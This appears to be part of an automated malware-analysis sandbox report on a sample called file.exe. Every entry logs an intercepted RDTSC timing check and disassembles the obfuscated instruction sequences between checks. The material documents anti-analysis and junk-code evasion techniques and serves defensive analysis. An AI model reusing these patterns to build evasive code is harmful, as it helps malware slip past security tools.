Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32EAD second address: C32ED4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F5D595292F8h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5D59529305h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32ED4 second address: C32EDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32FBB second address: C32FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5D59529304h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32FD7 second address: C32FDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3308C second address: C33097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C33097 second address: C3309B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C33837 second address: C3383C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3383C second address: C33842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C350D8 second address: C350E0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C350E0 second address: C350F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5D59526BBAh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE815B second address: BE8171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F5D595292FDh 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE8171 second address: BE81D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F5D59526BC7h 0x00000008 pop eax 0x00000009 jc 00007F5D59526BC2h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F5D59526BBAh 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push ecx 0x0000001a jmp 00007F5D59526BBEh 0x0000001f pushad 0x00000020 popad 0x00000021 pop ecx 0x00000022 jnc 00007F5D59526BC4h 0x00000028 jl 00007F5D59526BBEh 0x0000002e push esi 0x0000002f pop esi 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C35F7D second address: C35F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C37C8C second address: C37C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C368F1 second address: C368F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C37A34 second address: C37A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C37C90 second address: C37C94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C37C94 second address: C37C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C391AD second address: C391CD instructions: 0x00000000 rdtsc 0x00000002 js 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jl 00007F5D595292F6h 0x00000015 jmp 00007F5D595292FAh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C38F53 second address: C38F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C391CD second address: C39227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529306h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F5D595292F8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 call 00007F5D59529306h 0x0000002b movsx esi, bx 0x0000002e pop edi 0x0000002f push 00000000h 0x00000031 xchg eax, ebx 0x00000032 pushad 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C38F58 second address: C38F76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5D59526BC9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C39227 second address: C39252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jo 00007F5D595292FCh 0x0000000b jp 00007F5D595292F6h 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 jmp 00007F5D59529304h 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C39C80 second address: C39C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C39A00 second address: C39A04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A4F3 second address: C3A4F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C39A04 second address: C39A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5D59529303h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C39A21 second address: C39A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3DCBD second address: C3DCC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3DCC1 second address: C3DCE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F5D59526BBEh 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3DCE0 second address: C3DCE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3DCE4 second address: C3DD3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b js 00007F5D59526BB6h 0x00000011 push 00000000h 0x00000013 and di, A4D6h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F5D59526BB8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 xchg eax, esi 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 pushad 0x00000039 popad 0x0000003a pop eax 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3EDD7 second address: C3EE3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D595292FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b cmc 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F5D595292F8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007F5D595292F8h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 xor dword ptr [ebp+122D21FCh], ecx 0x0000004a push eax 0x0000004b push eax 0x0000004c pushad 0x0000004d pushad 0x0000004e popad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FD98 second address: C3FD9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40CE2 second address: C40CF0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40CF0 second address: C40CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40EFC second address: C40F08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41D1D second address: C41D38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41D38 second address: C41D3D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41D3D second address: C41D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F5D59526BBDh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40F08 second address: C40F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5D595292F6h 0x0000000a popad 0x0000000b pop edi 0x0000000c nop 0x0000000d jmp 00007F5D59529301h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 stc 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push 00000000h 0x00000023 push esi 0x00000024 call 00007F5D595292F8h 0x00000029 pop esi 0x0000002a mov dword ptr [esp+04h], esi 0x0000002e add dword ptr [esp+04h], 00000019h 0x00000036 inc esi 0x00000037 push esi 0x00000038 ret 0x00000039 pop esi 0x0000003a ret 0x0000003b jmp 00007F5D59529300h 0x00000040 mov eax, dword ptr [ebp+122D0779h] 0x00000046 and ebx, dword ptr [ebp+122D2577h] 0x0000004c push FFFFFFFFh 0x0000004e mov bx, ax 0x00000051 nop 0x00000052 pushad 0x00000053 jnc 00007F5D595292F8h 0x00000059 jc 00007F5D595292FCh 0x0000005f jbe 00007F5D595292F6h 0x00000065 popad 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 jo 00007F5D595292F8h 0x0000006f push ecx 0x00000070 pop ecx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C42CB2 second address: C42CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C42CB6 second address: C42D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D1849h], eax 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F5D595292F8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov dword ptr [ebp+12452DC8h], edi 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F5D595292F8h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e sbb bx, BE2Ch 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 jnl 00007F5D595292F8h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C42D21 second address: C42D26 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C43C8E second address: C43C9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D595292FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C44C34 second address: C44C38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C44C38 second address: C44C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C43F0B second address: C43F23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D59526BC4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C44DB1 second address: C44DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C44DB5 second address: C44DDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F5D59526BC1h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C46D22 second address: C46D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C47DF6 second address: C47DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48EAB second address: C48EAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48EAF second address: C48EF5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov ebx, dword ptr [ebp+122D2A1Eh] 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F5D59526BB8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 00000000h 0x0000002b sub edi, dword ptr [ebp+12449436h] 0x00000031 mov dword ptr [ebp+122D1AB8h], ecx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jno 00007F5D59526BB6h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C46E4F second address: C46EF5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5D59529309h 0x00000008 jmp 00007F5D59529303h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F5D595292F8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov di, dx 0x0000002d push dword ptr fs:[00000000h] 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F5D595292F8h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e movsx edi, cx 0x00000051 mov bx, 0E10h 0x00000055 mov dword ptr fs:[00000000h], esp 0x0000005c mov bl, 60h 0x0000005e mov eax, dword ptr [ebp+122D16FDh] 0x00000064 mov edi, dword ptr [ebp+122D380Eh] 0x0000006a push edx 0x0000006b jc 00007F5D595292FCh 0x00000071 mov dword ptr [ebp+122D2047h], ebx 0x00000077 pop edi 0x00000078 push FFFFFFFFh 0x0000007a mov dword ptr [ebp+122D2B7Eh], ebx 0x00000080 push eax 0x00000081 jnp 00007F5D59529304h 0x00000087 push eax 0x00000088 push edx 0x00000089 push eax 0x0000008a push edx 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C47F54 second address: C47F80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F5D59526BC3h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C46EF5 second address: C46EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BE42 second address: C4BE4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C49122 second address: C49126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BE4D second address: C4BE53 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BE53 second address: C4BE59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BE59 second address: C4BE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BE5D second address: C4BF0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D595292FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c call 00007F5D59529303h 0x00000011 movsx ebx, ax 0x00000014 pop edi 0x00000015 jng 00007F5D5952930Bh 0x0000001b push ebx 0x0000001c jmp 00007F5D59529303h 0x00000021 pop edi 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007F5D595292F8h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 0000001Ch 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push esi 0x00000043 call 00007F5D595292F8h 0x00000048 pop esi 0x00000049 mov dword ptr [esp+04h], esi 0x0000004d add dword ptr [esp+04h], 00000016h 0x00000055 inc esi 0x00000056 push esi 0x00000057 ret 0x00000058 pop esi 0x00000059 ret 0x0000005a adc edi, 353D2406h 0x00000060 xchg eax, esi 0x00000061 push eax 0x00000062 jmp 00007F5D59529306h 0x00000067 pop eax 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b push ecx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BF0E second address: C4BF13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4AFAE second address: C4AFB8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4CE76 second address: C4CE7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5353A second address: C5353E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5353E second address: C5356E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007F5D59526BBCh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5D59526BC9h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5356E second address: C53578 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5D595292FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C570D4 second address: C570DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C570DF second address: C570E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56873 second address: C56896 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnc 00007F5D59526BB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F5D59526BC3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C569EB second address: C569F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C569F1 second address: C56A13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC9h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56C89 second address: C56C9D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007F5D595292F6h 0x0000000d jp 00007F5D595292F6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56C9D second address: C56CB3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007F5D59526BB6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F5D59526BBCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56CB3 second address: C56CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007F5D59529305h 0x0000000a jns 00007F5D595292F6h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56CD4 second address: C56CDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F5D59526BB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56CDE second address: C56CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56CE2 second address: C56CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B274 second address: C5B27A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B27A second address: C5B27F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
